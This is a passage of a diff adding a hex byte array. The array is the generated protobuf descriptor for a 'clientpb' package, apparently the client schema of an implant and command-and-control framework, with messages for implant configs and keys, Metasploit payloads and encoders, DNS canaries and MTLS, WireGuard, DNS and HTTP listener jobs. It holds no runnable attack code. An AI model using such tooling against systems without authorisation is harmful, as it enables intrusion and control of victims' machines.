0x28, 0x09, 0x52, 0x0d, + 0x50, 0x65, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x12, 0x26, 0x0a, + 0x0e, 0x50, 0x65, 0x65, 0x72, 0x50, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x18, + 0x0b, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x50, 0x65, 0x65, 0x72, 0x50, 0x72, 0x69, 0x76, 0x61, + 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x36, 0x0a, 0x16, 0x50, 0x65, 0x65, 0x72, 0x50, 0x75, 0x62, + 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x53, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x18, + 0x0c, 0x20, 0x01, 0x28, 0x09, 0x52, 0x16, 0x50, 0x65, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, + 0x63, 0x4b, 0x65, 0x79, 0x53, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x12, 0x38, 0x0a, + 0x17, 0x4d, 0x69, 0x6e, 0x69, 0x73, 0x69, 0x67, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, + 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x09, 0x52, 0x17, + 0x4d, 0x69, 0x6e, 0x69, 0x73, 0x69, 0x67, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, + 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x12, 0x30, 0x0a, 0x13, 0x50, 0x65, 0x65, 0x72, 0x50, + 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x44, 0x69, 0x67, 0x65, 0x73, 0x74, 0x18, 0x0e, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x50, 0x65, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, + 0x4b, 0x65, 0x79, 0x44, 0x69, 0x67, 0x65, 0x73, 0x74, 0x12, 0x2a, 0x0a, 0x10, 0x57, 0x47, 0x49, + 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x69, 0x76, 0x4b, 0x65, 0x79, 0x18, 0x0f, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x10, 0x57, 0x47, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, + 0x69, 0x76, 0x4b, 0x65, 0x79, 0x12, 0x26, 0x0a, 0x0e, 0x57, 0x47, 0x53, 0x65, 0x72, 0x76, 0x65, + 0x72, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x57, + 0x47, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x12, 0x1e, 0x0a, + 0x0a, 0x4d, 0x74, 0x6c, 0x73, 0x43, 0x41, 0x43, 0x65, 0x72, 0x74, 0x18, 0x11, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x0a, 0x4d, 0x74, 0x6c, 0x73, 0x43, 0x41, 0x43, 0x65, 0x72, 0x74, 0x12, 0x1a, 0x0a, + 0x08, 0x4d, 0x74, 0x6c, 0x73, 0x43, 0x65, 0x72, 0x74, 0x18, 0x12, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x08, 0x4d, 0x74, 0x6c, 0x73, 0x43, 0x65, 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x4d, 0x74, 0x6c, + 0x73, 0x4b, 0x65, 0x79, 0x18, 0x13, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x4d, 0x74, 0x6c, 0x73, + 0x4b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x53, 0x74, 0x61, 0x67, 0x65, 0x18, 0x14, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x05, 0x53, 0x74, 0x61, 0x67, 0x65, 0x22, 0x6c, 0x0a, 0x0e, 0x43, 0x6f, 0x6d, + 0x70, 0x69, 0x6c, 0x65, 0x72, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x47, + 0x4f, 0x4f, 0x53, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, + 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x2e, 0x0a, 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, + 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x52, + 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x22, 0x85, 0x01, 0x0a, 0x0d, 0x43, 0x72, 0x6f, 0x73, + 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x1e, 0x0a, 0x0a, 0x54, 0x61, 0x72, + 0x67, 0x65, 0x74, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x54, + 0x61, 0x72, 0x67, 0x65, 0x74, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x22, 0x0a, 0x0c, 0x54, 0x61, 0x72, + 0x67, 0x65, 0x74, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x0c, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x16, 0x0a, + 0x06, 0x43, 0x43, 0x50, 0x61, 0x74, 0x68, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x43, + 0x43, 0x50, 0x61, 0x74, 0x68, 0x12, 0x18, 0x0a, 0x07, 0x43, 0x58, 0x58, 0x50, 0x61, 0x74, 0x68, + 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x43, 0x58, 0x58, 0x50, 0x61, 0x74, 0x68, 0x22, + 0xf5, 0x01, 0x0a, 0x08, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x12, 0x0a, 0x04, + 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, + 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x32, 0x0a, 0x07, 0x54, 0x61, 0x72, 0x67, + 0x65, 0x74, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x54, 0x61, 0x72, + 0x67, 0x65, 0x74, 0x52, 0x07, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x12, 0x3f, 0x0a, 0x0e, + 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x73, 0x18, 0x04, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x52, 0x0e, 0x43, + 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x73, 0x12, 0x48, 0x0a, + 0x12, 0x55, 0x6e, 0x73, 0x75, 0x70, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x54, 0x61, 0x72, 0x67, + 0x65, 0x74, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x54, 0x61, 0x72, + 0x67, 0x65, 0x74, 0x52, 0x12, 0x55, 0x6e, 0x73, 0x75, 0x70, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, + 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x22, 0x7e, 0x0a, 0x10, 0x4d, 0x65, 0x74, 0x61, 0x73, + 0x70, 0x6c, 0x6f, 0x69, 0x74, 0x4d, 0x6f, 0x64, 0x75, 0x6c, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, + 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, + 0x1a, 0x0a, 0x08, 0x46, 0x75, 0x6c, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x08, 0x46, 0x75, 0x6c, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x44, + 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, + 0x07, 0x51, 0x75, 0x61, 0x6c, 0x69, 0x74, 0x79, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, + 0x51, 0x75, 0x61, 0x6c, 0x69, 0x74, 0x79, 0x22, 0xce, 0x01, 0x0a, 0x12, 0x4d, 0x65, 0x74, 0x61, + 0x73, 0x70, 0x6c, 0x6f, 0x69, 0x74, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x18, + 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x46, 0x6f, 0x72, 0x6d, + 0x61, 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x46, 0x6f, 0x72, 0x6d, 0x61, + 0x74, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x41, 0x72, 0x63, 0x68, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, + 0x09, 0x52, 0x05, 0x41, 0x72, 0x63, 0x68, 0x73, 0x12, 0x36, 0x0a, 0x08, 0x45, 0x6e, 0x63, 0x6f, + 0x64, 0x65, 0x72, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x74, 0x61, 0x73, 0x70, 0x6c, 0x6f, 0x69, 0x74, + 0x4d, 0x6f, 0x64, 0x75, 0x6c, 0x65, 0x52, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, + 0x12, 0x36, 0x0a, 0x08, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x73, 0x18, 0x05, 0x20, 0x03, + 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x65, + 0x74, 0x61, 0x73, 0x70, 0x6c, 0x6f, 0x69, 0x74, 0x4d, 0x6f, 0x64, 0x75, 0x6c, 0x65, 0x52, 0x08, + 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x73, 0x22, 0x1f, 0x0a, 0x09, 0x44, 0x65, 0x6c, 0x65, + 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0xd7, 0x01, 0x0a, 0x09, 0x44, 0x4e, + 0x53, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x79, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, + 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x49, 0x6d, + 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x44, 0x6f, 0x6d, + 0x61, 0x69, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x44, 0x6f, 0x6d, 0x61, 0x69, + 0x6e, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x65, 0x64, 0x18, 0x04, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x65, 0x64, 0x12, + 0x26, 0x0a, 0x0e, 0x46, 0x69, 0x72, 0x73, 0x74, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x65, + 0x64, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x46, 0x69, 0x72, 0x73, 0x74, 0x54, 0x72, + 0x69, 0x67, 0x67, 0x65, 0x72, 0x65, 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x4c, 0x61, 0x74, 0x65, 0x73, + 0x74, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, + 0x4c, 0x61, 0x74, 0x65, 0x73, 0x74, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x12, 0x14, 0x0a, + 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x43, 0x6f, + 0x75, 0x6e, 0x74, 0x22, 0x3b, 0x0a, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x12, + 0x2f, 0x0a, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x4e, 0x53, + 0x43, 0x61, 0x6e, 0x61, 0x72, 0x79, 0x52, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, + 0x22, 0x1c, 0x0a, 0x0a, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x57, 0x47, 0x49, 0x50, 0x12, 0x0e, + 0x0a, 0x02, 0x49, 0x50, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x50, 0x22, 0x65, + 0x0a, 0x0e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, + 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, + 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, + 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, + 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x22, 0x47, 0x0a, 0x0f, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, + 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x34, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x66, + 0x69, 0x6c, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, + 0x66, 0x69, 0x6c, 0x65, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x22, 0x31, + 0x0a, 0x0d, 0x52, 0x65, 0x67, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, + 0x20, 0x0a, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, + 0x65, 0x22, 0xb7, 0x01, 0x0a, 0x03, 0x4a, 0x6f, 0x62, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, + 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x20, 0x0a, + 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x12, + 0x1a, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x18, 0x04, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x12, 0x0a, 0x04, 0x50, + 0x6f, 0x72, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, + 0x18, 0x0a, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x18, 0x06, 0x20, 0x03, 0x28, 0x09, + 0x52, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, + 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, + 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x2d, 0x0a, 0x04, 0x4a, + 0x6f, 0x62, 0x73, 0x12, 0x25, 0x0a, 0x06, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x18, 0x01, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4a, + 0x6f, 0x62, 0x52, 0x06, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x22, 0x1c, 0x0a, 0x0a, 0x4b, 0x69, + 0x6c, 0x6c, 0x4a, 0x6f, 0x62, 0x52, 0x65, 0x71, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, 0x22, 0x27, 0x0a, 0x0d, 0x52, 0x65, 0x73, 0x74, + 0x61, 0x72, 0x74, 0x4a, 0x6f, 0x62, 0x52, 0x65, 0x71, 0x12, 0x16, 0x0a, 0x06, 0x4a, 0x6f, 0x62, + 0x49, 0x44, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x06, 0x4a, 0x6f, 0x62, 0x49, 0x44, + 0x73, 0x22, 0x33, 0x0a, 0x07, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62, 0x12, 0x0e, 0x0a, 0x02, + 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, 0x12, 0x18, 0x0a, 0x07, + 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x53, + 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x22, 0xda, 0x02, 0x0a, 0x0b, 0x4c, 0x69, 0x73, 0x74, 0x65, + 0x6e, 0x65, 0x72, 0x4a, 0x6f, 0x62, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x4a, 0x6f, + 0x62, 0x49, 0x44, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, + 0x12, 0x35, 0x0a, 0x08, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x18, 0x04, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x54, + 0x4c, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x52, 0x08, 0x4d, + 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x12, 0x2f, 0x0a, 0x06, 0x57, 0x47, 0x43, 0x6f, 0x6e, + 0x66, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, + 0x52, 0x06, 0x57, 0x47, 0x43, 0x6f, 0x6e, 0x66, 0x12, 0x32, 0x0a, 0x07, 0x44, 0x4e, 0x53, 0x43, + 0x6f, 0x6e, 0x66, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, + 0x52, 0x65, 0x71, 0x52, 0x07, 0x44, 0x4e, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x12, 0x35, 0x0a, 0x08, + 0x48, 0x54, 0x54, 0x50, 0x43, 0x6f, 0x6e, 0x66, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, + 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x52, 0x08, 0x48, 0x54, 0x54, 0x50, 0x43, + 0x6f, 0x6e, 0x66, 0x12, 0x3e, 0x0a, 0x09, 0x4d, 0x75, 0x6c, 0x74, 0x69, 0x43, 0x6f, 0x6e, 0x66, + 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x20, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x4d, 0x75, 0x6c, 0x74, 0x69, 0x70, 0x6c, 0x61, 0x79, 0x65, 0x72, 0x4c, 0x69, 0x73, + 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x52, 0x09, 0x4d, 0x75, 0x6c, 0x74, 0x69, 0x43, + 0x6f, 0x6e, 0x66, 0x22, 0x40, 0x0a, 0x16, 0x4d, 0x75, 0x6c, 0x74, 0x69, 0x70, 0x6c, 0x61, 0x79, + 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, + 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, + 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x04, 0x50, 0x6f, 0x72, 0x74, 0x22, 0x39, 0x0a, 0x0f, 0x4d, 0x54, 0x4c, 0x53, 0x4c, 0x69, 0x73, + 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, + 0x50, 0x6f, 0x72, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, + 0x22, 0x7d, 0x0a, 0x0d, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, + 0x71, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x54, 0x75, 0x6e, + 0x49, 0x50, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x54, 0x75, 0x6e, 0x49, 0x50, 0x12, + 0x14, 0x0a, 0x05, 0x4e, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, + 0x4e, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x4b, 0x65, 0x79, 0x50, 0x6f, 0x72, 0x74, + 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x4b, 0x65, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x22, + 0x8e, 0x01, 0x0a, 0x0e, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, + 0x65, 0x71, 0x12, 0x18, 0x0a, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x18, 0x01, 0x20, + 0x03, 0x28, 0x09, 0x52, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x12, 0x1a, 0x0a, 0x08, + 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 